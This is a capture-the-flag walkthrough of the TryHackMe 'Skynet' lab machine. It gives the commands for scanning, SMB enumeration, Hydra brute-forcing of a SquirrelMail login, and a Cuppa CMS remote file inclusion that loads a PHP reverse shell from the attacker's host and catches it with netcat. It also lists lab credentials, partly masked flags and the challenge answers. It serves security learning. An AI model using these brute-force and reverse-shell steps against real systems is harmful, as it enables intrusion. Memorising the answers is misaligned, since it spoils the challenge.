TryHackMe Skynet is a vulnerable Terminator themed Linux machine created to test our penetration testing knowledge in network scanning, enumeration, attack samba share, RFI attacks and privilege escalation.

Start the Machine

Before everything we need to start our machine and wait around a minute to start our recon phase. After the machine is up and running it’s time to scan the box.

Scan the Target Machine

To scan our machine I will use Nmap with a few arguments to detect the service versions on all ports.

nmap -sV -sC -A -p- 10.10.131.16

Analyse Nmap Scan results

After running the nmap scan I notice a few open ports and four main services – SSH , Apache, Dovecot, Samba.

• 22/tcp SSH
• 80/tcp HTTP
• 110/tcp POP3
• 139/tcp NetBIOS Samba
• 143/tcp IMAP
• 445/tcp NetBIOS Samba

Investigate Port 80 Apache/2.4.18

Open you browser with your Skynet Box IP and a skynet dummy search engine appear

I have tried search something but nothing happen. Analyzing the HTML code I can’t find nothing relevant!

At this point we get nothing from the Webserver it’s time to search some folders and find something useful to explore.

Execute gobuster

To find new folders on the webserver I will use gobuster with a public list.

gobuster dir -u http://10.10.131.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

After running the gobuster we got some useful folders to investigate but only one can be open, the squirrelmail folder!

Info to Explore

• folder squirrelmail

Investigate Dovecot

Open the browser and access the squirrelmail folder it will open a login page and show us the SquirrelMail version 1.4.23

http://10.10.131.16/squirrelmail

At this point we have the version of squirrel service and a login page but no clue of any username or email I’ve try some basic SQLi but without success. It’s time try the next service available Samba.

Investigate Samba

To investigate the Samba service I usually use the SMBMap tool or Nmap.

smbmap -H 10.10.131.16

After executing smbmap we got some juicy info, we can Read the anonymous share and there is a interesting share with the name milesdyson but we don’t have access to it.

Wait? milesdyson sound like a username for me, maybe can be used on Squirrelmail login page. keep it in mind for now I will investigate the anonymous share maybe I can find some useful file.

Connect to anonymous Share

For now let’s connect to the anonymous share with SMBClient using the command:

smbclient //10.10.131.16/anonymous

We are in let’s list the files available and search…

We have one file and one folder to investigate.

cat attention.txt

We can confirm our suspects the user Miles Dyson exists.

Log1.txt file looks like a password list file and maybe can be used as a wordlist to bruteforce the squirrelemail login page, let’s try it.

Brute force Squirrel login with Hydra

Here we will test the milesdyson as username a log1.txt file as a wordlist.

hydra -l milesdyson -P log1.txt 10.10.131.16 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Something is incorrect." -V -F -u

After a successful brute force attack against squirrel we can login with user milesdyson and password cyborg007haloterminator

Open first email and extract Samba password

Connect to milesdyson Share

smbclient //10.10.131.16/milesdyson -U milesdyson

Insert the Password-> )s{A&2Z=F^n_E.B`

Only PDF files and a folder called notes let’s list it

One file looks interesting important.txt

The important.txt file mention some new directory /45kra24zxs28v3yd open it and we have the Miles Dyson homepage.

gobuster o find this administrator page

gobuster dir -u http://10.10.131.16/45kra24zxs28v3yd -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50

Open http://10.10.131.16/45kra24zxs28v3yd/administrator

Cuppa CMS Exploit

Find some useful exploit to run on Cuppa CMS

searchsploit cuppa

Select Reverse Shell

Here I will copy the PHP Reverse Shell into my homefolder and then start a python webserver to

cp /usr/share/webshells/php/php-reverse-shell.php ~

Change the webshell values IP and Port if needed.

cd /home/user

python3 -m http.server 801

http://10.10.131.16/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.10.153.122:801/php-reverse-shell.php

Open a new terminal and use netcat or metasploit o listen on port 1234

nc -l 1234

cd milesdyson
cat user.txt

Our session is limited to the user webserver is running www-data, we need to find a way to elevate privileges but before that let’s brute force the Samba share milesdyson.

Brute Force Samba Service

hydra -l milesdyson -P log1.txt 10.10.131.16 smb -V

No success brute forcing the milesdyson share, OK let’s be more intrusive.

Privilege Escalation

Using Exploit

Search exploit to out kernel version

searchsploit kernel 4.8.0

Using Crontab

Root Flag

cat /root/root.txt

Answer Questions

Now its time to answer the CTF questions

What is Miles password for his emails?

cyborg007haloterminator

What is the hidden directory?

/45kra24zxs28v3yd

What is the vulnerability called when you can include a remote file for malicious purposes?

remote file inclusion

What is the user flag?

7ce5c2109a40f958099283600a9aeXXX

What is the root flag?

3f0372db24753accc7179a282cd6aXXX

Linux Kernel 4.8.0 UDEV < 232 – Local Privilege Escalation

Register TryHackMe HERE